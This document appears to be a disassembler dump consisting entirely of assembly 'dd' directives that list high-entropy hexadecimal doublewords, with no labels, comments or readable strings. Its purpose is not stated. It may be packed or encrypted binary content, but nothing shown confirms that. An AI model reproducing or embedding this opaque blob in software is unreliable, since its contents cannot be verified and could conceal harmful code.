		dd 2EEA28C8h, 19DE6801h, 64C47825h, 583FF4h, 0B3358A5Fh
		dd 12ED27CDh, 0C2C10200h, 7DE0AD3Dh, 36041D9Bh,	0FF2A40C7h
		dd 30FBB05Eh, 23A7A000h, 0C2014714h, 4CC40CDBh,	0DD88880Ah
		dd 34586C60h, 0F463966h, 4977552Dh, 0F417160h, 0B1005754h
		dd 597DEE4Dh, 7D1DAE3h,	8812304Fh, 0CDA35141h, 4D773009h
		dd 0F3C42200h, 1378EA2Ah, 0EC0D0032h, 73E5051Bh, 0E300A8B0h
		dd 52426A4Fh, 12DDE10Ah, 989CBCh, 4A209955h, 30550E4h
		dd 3F3EC3FDh, 40AC945Ch, 0C07DD20Eh, 0C6FC5177h, 817BE5h
		dd 11BCC872h, 521775DAh, 4FAF8500h, 337B79F2h, 647D27h
		dd 5FFAC13Ch, 0AA54F68Ch, 0E7115B00h, 0FC7FC03Ah, 0CF020FBCh
		dd 0D000C13h, 4E41CC97h, 436A7D00h, 869DD788h, 49A00065h
		dd 573FC8A8h, 903D2EAh,	72BD9882h, 2A6EF06Fh, 697692h
		dd 8EBA3F17h, 254295E8h, 9B0306EEh, 57B97F86h, 44D01F30h
		dd 6DBB0068h, 25A0CA02h, 0EA733C00h, 87E83394h,	0E3410127h
		dd 2BF162E1h, 0CA53DCE9h, 79653Ch, 0C6FAA52Ah, 1F40EC87h
		dd 0C0950113h, 4B6C3D1Ch, 0B072868Bh, 33B5F200h, 15C0BEEAh
		dd 0DB8703CAh, 5F671BCDh, 0D8E62000h, 5443688Ah, 0EC52480Ch
		dd 448C1100h, 0D24E3EEAh, 0AA78200h, 35252B46h,	100E01D6h
		dd 0D36AC639h, 0BC2EECCCh, 3CB6DD07h, 5AC6474Dh, 9550058h
		dd 28A13B50h, 0A4A14405h, 0F8A5D164h, 32005E27h, 51ED927Ch
		dd 0E9542Ah, 0F2E75848h, 700CB555h, 6D0099EAh, 0D969E831h
		dd 0CA9A3E4Ch, 3C9C6EA0h
		dd 0E4037800h, 0B6C5C9B3h, 2A73AF00h, 0CF237711h, 80C40037h
		dd 0E63913AEh, 0B4ECBEB0h, 6D00D1F6h, 1B93283Fh, 0B24585h
		dd 0B88B3E98h, 6908BB0Bh, 0F8970500h, 0BA3626EDh, 1495F8B3h
		dd 0D8597B61h, 72B1DD0Fh, 341BE140h, 8D010546h,	54EB745Bh
		dd 1080208Bh, 87F25AD4h, 50043CF5h, 2704FE19h, 0A38000C7h
		dd 42F9DBCh, 0C46A388Fh, 9234C3C6h, 31FB5788h, 8CCE1603h
		dd 5A7C22h, 3BD68970h, 246369E1h, 0A55BEF00h, 1525738Dh
		dd 60B331E2h, 0CC4B8858h, 0A7FE7C3h, 8EEF0B07h,	5190372Ch
		dd 0EE4CA44Dh, 0A86B006Eh, 0EB58625Dh, 667BA04Bh, 477EEF18h
		dd 221610h, 0FC9894Dh, 5E17B05Dh, 106B7C00h, 0BE758C3Fh
		dd 0F4953EACh, 3BBD03F2h, 0B826AB6Ah, 660DE097h, 71FC8E4Fh
		dd 3783E500h, 76F5D6E7h, 0E0E254h, 31B78FE1h, 13F44C8Bh
		dd 3806204Ch, 2E8A80BAh, 3BD53516h, 0B70E24EAh,	0ED5D00A7h
		dd 0C3C5F1A7h, 2993D807h, 80408503h, 0D99D5Fh, 0AEB5E2B6h
		dd 810A0CB7h, 0F56E6200h, 0A96621A8h, 5874125Ah, 17EC005Eh
		dd 0D65F4751h, 0B42E5D00h, 0C841AD33h, 0B9C50479h, 0C0E4F260h
		dd 0D3779E60h, 93690300h, 35995472h, 44010034h,	7D64AEB7h
		dd 41074C43h, 1011FD13h, 0C3C14A90h, 6A0F00A7h,	0E8E97DDFh
		dd 0A6760CDDh, 19D40200h, 4D5BBAF4h, 0CE3D00E3h, 2AF069B8h
		dd 9C001D68h, 0D9891F9h, 0F0BEE36h, 77CCE406h, 12A6F120h
		dd 8A1EDF86h, 6BC02EC4h, 228E2BDEh, 80714C35h, 0F7073000h
		dd 856528C5h, 0E7121A01h, 53F11841h, 26394F0h, 0BD9B0386h
		dd 0C8E0E5C7h, 79F851CBh, 70C6F426h, 50C4C89h, 5DC06878h
		dd 8C7BDBh, 0F3A551CDh,	71594291h, 0B786C200h, 0DA048485h
		dd 89A430D8h, 9AA20881h, 0D24E002h, 0B40A6745h,	8096010h
		dd 2F520A17h, 0E464A726h, 63ADF84h, 2D3184D0h, 0B77E00DCh
		dd 58998C55h, 0A53B80F0h, 145BC02h, 133E5231h, 0AE44E69h
		dd 3F9B09A7h, 0CC0F272Ah, 0FBFCC703h, 269D66E8h, 9BCF050Dh
		dd 78D46877h, 387D29h, 0FAAEF1B6h, 0D8C00A69h, 585EA228h
		dd 49CE039h, 0DF450BF4h, 3B85B268h, 1B618A81h, 0F4FFDBA9h
		dd 330128C3h, 0E04B8164h, 0F2C831CCh, 96E45Dh, 0A32C8AF1h
		dd 7BDA867Ch, 23C57000h, 2BC6545Ch, 0B06C13CFh,	80970BD8h
		dd 0B5A88B00h, 4CFC2C79h, 1400BC74h, 0E3CDD9D3h, 4C04AF81h
		dd 3300895Bh, 5079CE3Fh, 0B00A3C2h, 1FADD42h, 7C2FF1C6h
		dd 0A90F24D3h, 67320212h, 9D80771Eh, 0A555F3BFh, 91764026h
		dd 0A3A95F03h, 9554D070h, 87D3033Ah, 0AECABBC3h, 0FB8D5A98h
		dd 60002E79h, 2BD94915h, 1F294F3Bh, 0C0203EBCh,	26A27570h
		dd 88289168h, 2A009883h, 0A7ABD285h, 0E33934h, 4EFFC27Ah
		dd 0BCB94780h, 0CD3DDF05h, 0B040AD1Dh, 195CA234h, 0FB701706h
		dd 69BF00B7h, 3886D73Eh, 899C180Eh, 0A8A4E2B8h,	0EDFC802Bh
		dd 178A9ABh, 8AC7CC85h,	0F24DA294h, 0B2324E00h,	0A70D0084h
		dd 0C9633B2Ch, 1A00518Bh, 0F9E813B9h, 0C11ECEB7h, 0F271D388h
		dd 25B9948Ah, 57B000A6h, 5FD46B24h, 0BF230030h,	0D2D10538h
		dd 550990E9h, 2356074Dh, 0BB6A20h, 15DC8508h, 26897164h
		dd 8004C63Eh, 34BF4472h, 171BCE69h, 1D3732Fh, 0F18AE7A9h
		dd 7239BAB9h, 0AEB1100h, 8987E1BDh, 4BE2000Fh, 88059C50h
		dd 0A50322E7h, 7CB89EDFh, 20C8DD06h, 59BB184Dh,	0DD2448B5h
		dd 0F716760Ch, 0FA0109Fh, 8E170AD7h, 0E1811EC6h, 4014AD00h
		dd 94CEDA71h, 469607A4h, 30EBED01h, 84F2F19Bh, 529DA900h
		dd 6860351Ah, 39AE00CBh, 360B3BE5h, 0F30097A8h,	58A29CA6h
		dd 0C1655Fh, 2285D1F5h,	381209D4h, 4DE808FCh, 0FA20E960h
		dd 0C0D171h, 16CE8089h,	0DB938F1Bh, 14F6B700h, 0BB18F32Dh
		dd 6C7207A7h, 0C7B6A953h, 58B9106Fh, 88071239h,	0A165BE3Bh
		dd 61E9BF80h, 0CFB503D0h, 0E6E04E24h, 3B2A0818h, 0ABA020h
		dd 7D30F376h, 6AB10DFDh, 0EB95C81Eh, 14BF3200h,	12FC6E6h
		dd 0EA230FD2h, 80A1A7BAh, 0A373DEC9h, 0CF6BE3Ch, 154335E6h
		dd 0C91B2A98h, 23B0DABFh, 83028A90h, 0E2A7EE78h, 294824DEh
		dd 788C5640h, 0AE00071Eh, 99A4A0ABh, 2D159C6h, 14BE4A67h
		dd 0C4C1B9C4h, 85898032h, 0E0F79872h, 75AE7228h, 60AD76B2h
		dd 84702113h, 0CE035598h, 0C3BE9307h, 0AFD1B8B9h, 1559007Eh
		dd 2335C4F7h, 0EA001D0Ah, 543A8CE3h, 7D31699Dh,	927B0014h
		dd 47087421h, 500075DEh, 9E5EA851h, 0B0AAF3h, 92AD28B9h
		dd 0D0D6FECCh, 0BDD9E0FFh, 599A6E00h, 9FEF90ACh, 567C4829h
		dd 4400F438h, 12D0B3B4h, 0D50CF3D3h, 68C8D8A2h,	0AD850031h
		dd 15CC1D78h, 7D309342h, 5A46187Ch, 969D0FECh, 0A0EF363Ah
		dd 0BCFD4F64h, 0B71107C1h, 61872EDDh, 6EFE6680h, 0DB80038h
		dd 3F308CACh, 2906C555h, 0AEBA5AE9h, 93640098h,	36C37C1Fh
		dd 81DECFF8h, 420E62DDh, 8B268089h, 392E8FBEh, 0C900E9FBh
		dd 63E56AEEh, 1042235h,	2CC5C803h, 0CF9EAC80h, 4F5E003Eh
		dd 0D68AADF0h, 0DE030B53h, 0D9210EDh, 0D9C4DB86h, 56F015CBh
		dd 8AD43ED0h, 3C06A403h, 1800CDEAh, 0BA6C206Eh,	9D3212Dh
		dd 7AB88B97h, 8CB02100h, 10C0315Bh, 94174C80h, 90600FDFh
		dd 0EA80FBB9h, 2A74BE9Bh, 2EF19500h, 1478AECh, 577A00BAh
		dd 0F2E89D62h, 543D0669h, 8881874Ah, 81E9D452h,	0AEB21939h
		dd 0AFAAC8h, 506626F6h,	4AEB2F2Dh, 0E741DE17h, 54EA0200h
		dd 0B91B81Dh, 898D985Ah, 3178C900h, 5139FFC1h, 0E85E0475h
		dd 9880D218h, 6EF264Ch,	2177D637h, 0CE1F18A5h, 0CD0746CCh
		dd 2DE79D40h, 0E86E7DC3h, 49BB99h, 0E8EC0C78h, 8CBDFE09h
		dd 5D019400h, 9126F87Ch, 311D00BCh, 0B27E98DBh,	5524D017h
		dd 833F92D5h, 20A2C332h, 2D180010h, 289C63B2h, 6DF4FB3Bh
		dd 0E616BB00h, 271D6053h, 66B706B5h, 0A8E29D96h, 0C9809400h
		dd 16BC319Eh, 0BB6501A2h, 7AD2C77Fh, 0B63DE8A7h, 4E3ED600h
		dd 0FA503F8h, 0E93F00B3h, 8F44B53Ah, 0AC1D22BEh, 0FA80ADBCh
		dd 18B76F8Dh, 7AF300DEh, 7F58310Fh, 7400FB69h, 0B82C61FEh
		dd 5390AFh, 85FD3F98h, 5F22366Ah, 0FA484500h, 14C7B9BDh
		dd 1C16B087h, 0C14C8332h, 0C225CE7Fh, 57B9C489h, 0E30013ECh
		dd 0EB6DC8DEh, 1B5E88EFh, 51F664CFh, 989E1B80h,	0AAA09A00h
		dd 0B6B75D2Bh, 70690009h, 1472FFB8h, 4100976Ch,	24658CE1h
		dd 0C60ADD2h, 0D981FEA9h, 0F400D168h, 0FAE2E3F8h, 166A21DFh
		dd 0BA1254Bh, 0A680F61Dh, 0A8E6CBE1h, 0B1CF4200h, 0A0ED90CAh
		dd 67E6F9h, 3D6E39B4h, 6D295657h, 820AF800h, 9CE494EAh
		dd 0CC96004Eh, 727AD70Dh, 85008F3Ah, 75C4428Bh,	0C84F79h
		dd 7AA3671h, 0E6BF1FB1h, 7B0D60C3h, 0A20800A3h,	0CE4C2A3Ah
		dd 0C100863Ch, 8C93BC10h, 313DC0A0h, 9B3107ABh,	0B66BF868h
		dd 2BE1030Ch, 0BF794Dh,	0BBEA51A3h, 5CD95668h, 23CA9F00h
		dd 0D48895FCh, 0DFF300C1h, 8C03B925h, 51C0059Dh, 95CB4E51h
		dd 0ABE7003Eh, 0BF520B56h, 2F07D3EFh, 249B2D5Bh, 315FA510h
		dd 0E9F0001Eh, 51E07384h, 440077CFh, 8C64F142h,	189A09h
		dd 339F067Fh, 0A0CEC1B2h, 5CE96A1Dh, 0E1C00B98h, 0F8243DD5h
		dd 0C9C4670Eh, 98182600h, 0B6601FB4h, 0FD2D5D90h, 0BF7E005Fh
		dd 291053E2h, 1006CABh,	1269D5CBh, 18B152Fh, 0D6028F6Fh
		dd 0F8DBECC6h, 43002E23h, 38C8955Fh, 18C3150Ah,	584B4D87h
		dd 6B0F511Fh, 80080FB0h
		dd 4F69C971h, 60DC00A1h, 0EE4675C6h, 6CEC833Ah,	0F240ED03h
		dd 0A05B6EC5h, 0B841E47Eh, 0FE27FA4h, 7599D48Dh, 3381850Fh
		dd 0F0DF5BF3h, 4C07F1F0h, 0F41B269Ch, 20026230h, 0C7EF671h
		dd 4A8F07B6h, 101CA058h, 8E000F72h, 0E611B442h,	0C2071A9h
		dd 0B92FC4A8h, 8C004940h, 185BD7F7h, 0EE19CFAAh, 0DC900143h
		dd 68F4C60Bh, 0D183DC93h, 2EF82300h, 4D0DE176h,	4F650CB5h
		dd 41A05F84h, 0D324DB00h, 484740BEh, 49990C0Ah,	67B0E488h
		dd 96A15760h, 60B59721h, 720718CAh, 0EFE03420h,	0D5EEC202h
		dd 8017C5B8h, 0E7E44580h, 16CB06FCh, 405024FFh,	12358700h
		dd 983D4958h, 0B33B00D6h, 40D993EBh, 2A01524Ah,	0F1BA8CE0h
		dd 0C13FFA7Bh, 0F44768DFh, 0C051789h, 0AA06CDA6h, 3910B013h
		dd 948A8424h, 512F5B03h, 0A39618F0h, 0C804842Ah, 0ED52F818h
		dd 3F7FAB8h, 0A0D7DE75h, 4DD8E636h, 1D003055h, 0D4F3BB20h
		dd 655D29C2h, 803C38D6h, 0C56D3A1h, 0B4709803h,	5C15ECh
		dd 0BC4324AEh, 26DA2E45h, 0EE480707h, 687CD777h, 0C53D007Eh
		dd 4F8D9689h, 0BDFC06F3h, 2F1D4601h, 0A7D74CA5h, 9F001C22h
		dd 268A9812h, 0B7ABC17h, 0D2568400h, 0D0F015C6h, 850A15AEh
		dd 0A05FC43Ch, 560025B4h, 0FC5017FDh, 1850CC5h,	4402BC87h
		dd 202D8F88h, 4803D810h, 9CB0BD5Fh, 669490E3h, 0A8FB00D4h
		dd 0B7E4F9CDh, 8439970Eh, 0EAC39832h, 603BC5B8h, 0D829995Ah
		dd 72076F4Dh, 89CF911h,	0C4386570h, 85F2302Eh, 2440F5B0h
		dd 686B9E24h, 0FF3CA030h, 0CDE2069Ch, 0D925DDB2h, 0BCEA4600h
		dd 0D89D695Fh, 80423C7Ah, 0DA82C30h, 41651E3Fh,	30C5C5E0h
		dd 0D0032452h, 0C1517228h, 2424256Ch, 7DEF005Bh, 0E21C2178h
		dd 0BE031FCAh, 0D35A0CDFh, 0DE589016h, 0CF5C03D4h, 0EE72F7A3h
		dd 8C23D807h, 2E107AB5h, 433A1Ch, 0BDB64DDCh, 0F28DA927h
		dd 5FCB7800h, 9D349308h, 0FF600DBh, 20656398h, 14005BCAh
		dd 1F90AD25h, 0E8F946Eh, 63972E22h, 0B7CAF8A0h,	45000806h
		dd 0D4958D52h, 0AF11C7h, 3A4E8BD9h, 8AEFF292h, 2DF0E400h
		dd 20290D09h, 378D03DFh, 0BD97399Eh, 9D792490h,	0C8EAC628h
		dd 0A4EFC701h, 0F482AD56h, 0A1C74A21h, 2080CD70h, 3DEF7F31h
		dd 0DF09FFBAh, 98AC12h,	77D3EB0Ah, 6B23303Bh, 0A3466328h
		dd 737CAF07h, 0DDE0E0F2h, 30AB15B5h, 0C5203A4Ch, 0BDA36EEAh
		dd 0EB8D3000h, 142BF750h, 40E900ABh, 0F0E54E33h, 20000BC8h
		dd 0CD10BF63h, 0B94F77h, 0FC6785EBh, 5902FBB6h,	9997A100h
		dd 0AE77834h, 14F0C284h, 0A5806DD1h, 0DE3AD7C8h, 0C9894E03h
		dd 0D0C244E1h, 7DA7DDB4h, 0C63E3F80h, 0BB0A2001h, 0D05F743Ch
		dd 0BE00A366h, 17BFBB5h, 0E30D79h, 0C69F6E34h, 5C967D67h
		dd 0F00310F0h, 55C5428Ah, 92AA8012h, 51D800CEh,	322D35C3h
		dd 6A176314h, 0DF00861Fh, 0C488EC07h, 0A12A0022h, 70A7290Ah
		dd 4400A3BBh, 0FF0B722Dh, 72576ED2h, 0E54C0075h, 0BEA9AC3Dh
		dd 10E4D04h, 272E373h, 0E0157530h, 5D0E5Dh, 6B249028h
		dd 4AF8A7F2h, 0FC5E1B00h, 0ECD531C4h, 0F740008h, 3EA40BBBh
		dd 500EB26Fh, 2EEFB33Ah, 9475A034h, 5C736988h, 4100EFFCh
		dd 592A20C0h, 783DAC7Ah, 7FED8065h, 975D0FA0h, 0D9E891h
		dd 0B150E180h, 0B4D5BD30h, 686C9A00h, 4CD2B50Dh, 0E5AF0F29h
		dd 8AA732B3h, 6F889050h, 0D04F03Bh, 999D027Ch, 944380FBh
		dd 3C0086E5h, 0D32B1223h, 60B483C9h, 0EEF578A9h, 9E0046B1h
		dd 1BAFED92h, 3F25BDDAh, 4D014B16h, 5AF6E7DCh, 70C0F272h
		dd 0E800CE32h, 62A36471h, 1FF4B673h, 6E671Ch, 0BFAFB1A4h
		dd 0A8001B89h, 7F6576FDh, 8F7059h, 3B3DF61Eh, 0B3796781h
		dd 0BDA5E30Eh, 0FBD7A02Ah, 6466D1h, 49E7DBDEh, 7703C68h
		dd 0D05C0800h, 0D1E28469h, 0C12F006Ah, 4520D5E9h, 7265BE0h
		dd 0F4008FFEh, 6DAFFDE4h, 53A70048h, 8D79CAAh, 0F01EB912h
		dd 0DACE1D47h, 0F8B4C0F9h, 0EE35477h, 7A61F785h, 5F60D6A0h
		dd 7C00192Ch, 0D755261Dh, 3A4D5963h, 698067EEh,	5F8661F3h
		dd 8907B911h, 436C9806h, 607B91A2h, 1FA8E856h, 0CEB86765h
		dd 9EC0BC3Fh, 183E46B4h, 0F5F2EB03h, 0BB10EAh, 0F06C3770h
		dd 0E2CD7B0Fh, 75008572h, 4A8778B5h, 0CEE8C6h, 80169734h
		dd 0A254702h, 633B48h, 925DBD75h, 0FCD3B1h, 3274C8E0h
		dd 8D2789Fh, 0F11B6B00h, 0AC5DC63h, 0BFEF38E5h,	0AB624480h
		dd 68E7AEE3h, 0A9399600h, 5C379D84h, 7ED800F7h,	32D542BCh
		dd 4BF01418h, 0E09C8F00h, 0A6B9DFB8h, 7F6700ACh, 95A175AEh
		dd 0B00B02Ah, 0EECDEC71h, 3B3831CBh, 5402B8B1h,	0FF5A4B8Fh
		dd 0C2B7C0A0h, 931FA603h, 1487F946h, 6380A494h,	97B691h
		dd 3AE3EE58h, 0A87CA267h, 54DB41Eh, 49EB55C1h, 87C061CCh
		dd 782F24EEh, 0EB52460h, 7F6190E0h, 20FB9865h, 8600E754h
		dd 523E4C8Eh, 60627057h, 87D6E819h, 0D51CC975h,	3280DCBDh
		dd 0B3C160A2h, 45E9006Ah, 28A54315h, 2C03761Fh,	0B21089FEh
		dd 5087A886h, 683D09D1h, 0EF807F73h, 0D37D618h,	24D5AC26h
		dd 7D594F00h, 7DC51DDEh, 3C0F00C6h, 9765304Eh, 0FB010225h
		dd 0F35B27AEh, 0E0CA1F88h, 0E2853B47h, 604D02A0h, 0EE591B94h
		dd 3AD57FC0h, 1CE2B000h, 3599A173h, 0E88E1F01h,	0D8B380C4h
		dd 0CDCFD972h, 21035300h, 345BA03Ch, 0B941267Bh, 19630EEh
		dd 0A200149Bh, 0F9235249h, 16D12E0h, 530ED8AAh,	0D0DA334Eh
		dd 7B3F6432h, 0FBDD0029h, 84876509h, 0B57E0EA6h, 7D60F66Dh
		dd 29A83FDh, 0DA6F6803h, 0E88CEADCh, 45128A9h, 0EFE9CFA8h
		dd 0C4F88031h, 5801B8E7h, 271189C6h, 0B97075B7h, 1D1000CBh
		dd 7F435BE3h, 9002E82h,	0F34C2795h, 0E24E9FB1h,	997B005Ah
		dd 0E3B5892Ah, 0AC0720E1h, 9C82D7C4h, 10AFF5A0h, 0A63509A0h
		dd 3780D591h, 0ECB15986h, 4BDFA800h, 77F114ACh,	8889001Ah
		dd 0A3247284h, 6D481707h, 16300A10h, 6800ACD6h,	0BE83EFA2h
		dd 152F003Dh, 0E748AF7Eh, 0DD493B6Dh, 1CE6262Ch, 15E1F50h
		dd 845C4B67h, 20C8CB2Ah, 9E006B30h, 0CDA728FFh,	35DCEDh
		dd 496EB1B8h, 0E5D23F64h, 84004890h, 3D3C7AC7h,	1EF3C352h
		dd 45B8C9A8h, 0C0E83653h, 6D8261E2h, 0A4AB862Ah, 0B1005FE6h
		dd 0A993BB65h, 0A079DB72h, 1690684h, 0C37E5588h, 80E317EBh
		dd 31FE5460h, 4E8FEFh, 50699DFAh, 15F93990h, 0ADF2A500h
		dd 0A83D27A1h, 76CC741Fh, 922B1D77h, 0D65D4359h, 9AC03650h
		dd 11008451h, 0AC581B34h, 0EBB21Eh, 0A20783A5h,	46ADE288h
		dd 9FDE4A3Eh, 4700178Dh, 95A4133h, 0F5180087h, 0F689906Eh
		dd 0C0071A19h, 0C7D7D2F9h, 7D5FD900h, 0D41D00E2h, 2DE06070h
		dd 0B930CD58h, 644F20D6h, 5170083h, 21560A2Eh, 311F5078h
		dd 0AF40301Dh, 0D197E9F6h, 78C0B7C3h, 0A72C19FAh, 0B600EC9Bh
		dd 96F2E3FDh, 1503399Eh, 0ECF86100h, 0D33A7BB5h, 0F92CD40Ah
		dd 0ED00AC6Ah, 64820644h, 2751007Ah, 0BFC0EA4Dh, 9700AD3Bh
		dd 0E56C8F39h, 0FA3D58h, 95E6012Bh, 0E4E29A0Ch,	2F0046F4h
		dd 0CD827703h, 0D8B64Fh, 2187612Ah, 0D7B5CEA6h,	67001FF2h
		dd 92EC8F23h, 0F999A3h,	3F561E11h, 96E05B63h, 80E8B43Ah
		dd 0B11684E6h, 90B9DA8h, 31C5C003h, 8D11DB00h, 1B0B1355h
		dd 81CED4ADh, 2C2D8024h, 0FA44E3D4h, 0FEAA0054h, 9A7AD39Bh
		dd 507723C3h, 3DBFE700h, 0E1084567h, 0ACE401B9h, 282A3B4Bh
		dd 0D126F8A3h, 4538BA00h
		dd 346F650Dh, 53E80751h, 71C2D81Ah, 0ECF7C3F0h,	0D10712D9h
		dd 91CC0E7Ah, 5429AC50h, 0F9A50084h, 5EDFF370h,	0EFED8815h
		dd 0D099B8E0h, 6A015B7Dh, 23B21325h, 623271h, 0B0E12E7Eh
		dd 89B38028h, 0E91CA88Eh, 0F73B130Fh, 9BCE20BAh, 3F983F39h
		dd 46805CB7h, 0FBEA223Ch, 4C001DDAh, 0FE9D6E14h, 0E43139B9h
		dd 498514BFh, 9500E861h, 10D40420h, 0A5001C1Eh,	5CF13B8Ah
		dd 0B566579h, 95D15428h, 2ABBC882h, 3F03E860h, 27000A77h
		dd 38355DFFh, 0CD80C7h,	0F8C06EADh, 0C4FDEAE3h,	806A4E3Bh
		dd 1F1B7EB9h, 0E07CF0Eh, 0A3D9C665h, 0DCC39D00h, 3F59AD43h
		dd 41600004h, 35C5846Bh, 0F0AB602Dh, 801EDA5Eh,	0EEDCD000h
		dd 932315CEh, 19740033h, 2B867F0Fh, 6F02AA76h, 0BFFB17D2h
		dd 80DDE0BDh, 59CE00FAh, 0AD0B9E8Bh, 0A000AABBh, 0C1CC8957h
		dd 27FFEDEh, 9F2AE803h,	8660FB95h, 83073678h, 0A2C48BAAh
		dd 92AEDFD1h, 3E7695ECh, 4401ACF9h, 6FA807ECh, 3CD7E4B6h
		dd 0DA037B00h, 17B9C2D3h, 0E7B300D9h, 895760Ch,	21003970h
		dd 243E1683h, 0EA8859D8h, 92500BDCh, 7EE0D263h,	6000FD3h
		dd 0FAFE99D1h, 3FED6713h, 0E9002FA1h, 0E7A023F7h, 0D81EC4A2h
		dd 73833387h, 72708h, 20FA2B16h, 8C53C19Ch, 0A1880400h
		dd 0C5E6037Dh, 0EFB5305Fh, 0DD6F8AE0h, 8C1DD100h, 525B0A7Fh
		dd 0BCF05Ch, 0B00F85AAh, 0BB05DBF2h, 9B8B5500h,	0F620B8EAh
		dd 1675A1h, 0C0847F5Bh,	92221EF0h, 8E45B33Bh, 60ED70FFh
		dd 0A2445DE0h, 3600F01h, 0B2E0584Eh, 15CCBDE1h,	220ED00h
		dd 88873DCDh, 4A4F0079h, 29BA54B3h, 0F93E9683h,	0DD4B8069h
		dd 0CBB91A33h, 0EA250FEBh, 0F9FE13A8h, 474D9Ch,	0C98880DFh
		dd 6D00C384h, 595A3E2Dh, 8D2C43h, 5FB674BDh, 0B455837Bh
		dd 0F3BB6400h, 0FC5BA79Bh, 48997280h, 0F9060454h, 79840B51h
		dd 0C5C2D207h, 0E850CCB5h, 938273h, 0F8C19FBFh,	0C6883CF4h
		dd 4D6DCD1Eh, 0B1127580h, 549861h, 17B6F774h, 0FBB83EC9h
		dd 8DED0607h, 6DC3137Ch, 5DADD073h, 0C9DB00ABh,	56B3A6DEh
		dd 9E3CB9DAh, 55E98047h, 452AC3F2h, 90E800F6h, 0A9DCCFAAh
		dd 0E074EEF8h, 29AF8203h, 0B507BF91h, 5C02F844h, 0C56C0AEh
		dd 0AE001192h, 0FB0DE5F8h, 7C5085h, 9EC0B081h, 0D99755CCh
		dd 20577E00h, 0D480E456h, 6AC30371h, 473AC2A6h,	0CCD203F0h
		dd 80DAD33Eh, 7F8AA754h, 346E7C0h, 1AFA13B8h, 0F1B8D870h
		dd 8505C7FFh, 893722C8h, 83D5C000h, 5CE8A4A0h, 7D0033E9h
		dd 0B7016085h, 0FF000B45h, 76C04CC5h, 4D8ECDh, 51C1E1E0h
		dd 0BDAD8C0Eh, 0DC4A6424h, 4543A482h, 7B404893h, 657658EBh
		dd 0AC850839h, 1835FE2h, 6E82BA84h, 0F874F9BDh,	0C8183D60h
		dd 0F3EE893Fh, 1CB190D0h, 8AC286E9h, 80DCF943h,	5D9776FDh
		dd 34003736h, 82518093h, 12AA4F0h, 9CD2AA06h, 0ED9DB3E2h
		dd 7B2EC44Fh, 0BA0BAAA0h, 4B7C0A01h, 68F35A74h,	2256C9DFh
		dd 0C0DC5731h, 25DCFD90h, 5290038h, 8F117115h, 75001823h
		dd 0DA907DD8h, 6B86C9h,	0F7A9F1F3h, 4DCA0E7Fh, 9D8AC800h
		dd 540843A2h, 0D440B57Bh, 11F6AD0Ah, 0C501A075h, 0FFAA1C29h
		dd 27FC7DCBh, 0C13600B9h, 6590B39Dh, 59E253F2h,	37A38400h
		dd 1E682AE5h, 0B7B500DEh, 1B4D8B41h, 4EE2FC66h,	5A21CE00h
		dd 9BE7642Fh, 5B3E02A2h, 32B37D03h, 72D2240h, 0F8C8E912h
		dd 7A0BF200h, 0E5779Eh,	0C0400EE2h, 4627FB98h, 4560A600h
		dd 0EEB76701h, 0C78F25F7h, 61B28580h, 1D03AC0Dh, 39F2A6A1h
		dd 45F6A09Ah, 6E0C0068h, 1C32F837h, 9B0058C0h, 0EF7A0F7Bh
		dd 98824ED6h, 3AF91DAAh, 0CFD4CF8Ch, 29220C20h,	9D3C98F3h
		dd 21FB1F2Eh, 9BB4C785h, 4934DA80h, 0CE630620h,	0E18233A0h
		dd 3F73E603h, 0A07BE78Fh, 7C7A61ABh, 0CBEC3F23h, 5FDEB400h
		dd 2B65421Bh, 866B7701h, 0F4087610h, 3BA6EFFCh,	7C144F93h
		dd 4B068AC2h, 694840F0h, 665EC910h, 0DAF89100h,	0F7FAB80Eh
		dd 0A4064BEEh, 0B9CB28F6h, 71630671h, 30641A15h, 0E06B9B03h
		dd 0C00AE6D5h, 977A179h, 97E84A7Ah, 0D0EB1B80h,	0C0F24FDh
		dd 0E0217EE3h, 6DCC93B8h, 0A84500BCh, 574DAE64h, 0D006EB1h
		dd 0D1DC0F94h, 6A804Eh,	0CC4FFCC1h, 8522EB47h, 79BEA500h
		dd 5C7C48ACh, 960A0B88h, 0AE80CBE4h, 21307A43h,	165FB200h
		dd 8B758911h, 0A5ED00C6h, 0AD1A4D24h, 8E00CE3Eh, 0CA3B9850h
		dd 2AC57217h, 39B06C33h, 5DBF9A5Fh, 0F6719E80h,	54EAF91Dh
		dd 0E8B74117h, 80515D01h, 3080BF0Bh, 0FD5DEF7Ch, 0A8283842h
		dd 1914A4ECh, 2A82777h,	47E8CC22h, 0F0D2C0D3h, 150D0774h
		dd 2316FB03h, 2BB028F3h, 720385CDh, 0B5B180EBh,	8896FCh
		dd 0C2E6A463h, 10C3BCFEh, 7411BE00h, 0A3828646h, 6F20049Bh
		dd 83FE2994h, 700C267Dh, 0C9F8F38Eh, 9F780F7Ah,	23A06A33h
		dd 0D343447Bh, 0B71A3F07h, 92D7248Dh, 97F96800h, 5ADF0459h
		dd 906D2821h, 559B6234h, 94AEAD07h, 1860FD7Eh, 3D2A68Ah
		dd 4211699Dh, 0E9D61999h, 510E7800h, 0AC6EA1BDh, 3E2EF685h
		dd 0F5319Fh, 16DC88FCh,	18794EDBh, 0E5F9E212h, 6B00385Ch
		dd 1C805A44h, 666E3FAEh, 251F7A80h, 4F03AC0Bh, 9C15DE00h
		dd 9364C410h, 6AEE315Dh, 5008CCE1h, 0AD9FF8B8h,	6078EA07h
		dd 23D09994h, 29B43C95h, 2CECEE71h, 4BD403CEh, 58035DBBh
		dd 2DE3D3CDh, 0CCDB904Dh, 1BD7A5Bh, 80F90702h, 0FC3B8412h
		dd 0DE02D461h, 8C273C7Fh, 264E60CEh, 0E51700F8h, 5F51AB9Bh
		dd 2F076204h, 2E8A7BE9h, 3A21AD46h, 910780AEh, 0E0C36D5Ch
		dd 0A237E2Bh, 18D3FC07h, 42109D8Dh, 0D7FA6Bh, 4FF4E873h
		dd 0AB68517h, 0DA337F00h, 66BE0568h, 18080075h,	431751FCh
		dd 0CC00DDABh, 2992B6A0h, 0C750D812h, 5381DB70h, 58019BB3h
		dd 4533D136h, 0C22EFC0Eh, 0E0FF32B4h, 7148B75Fh, 54200EE6h
		dd 5200EE7Ch, 0F5A77204h, 20251130h, 1A73DAh, 0FBE54454h
		dd 0FA712851h, 5958D9C1h, 2080B5B3h, 6AF0DE75h,	0EE002505h
		dd 2DFFD6E7h, 3EB3BF3h,	2C3C26FBh, 4900A155h, 1721D1F1h
		dd 3CDCE346h, 863D32Dh,	200E796Fh, 83213814h, 998EC403h
		dd 0BC504618h, 60488F78h, 0E73A04Eh, 8800CB5Dh,	10B91271h
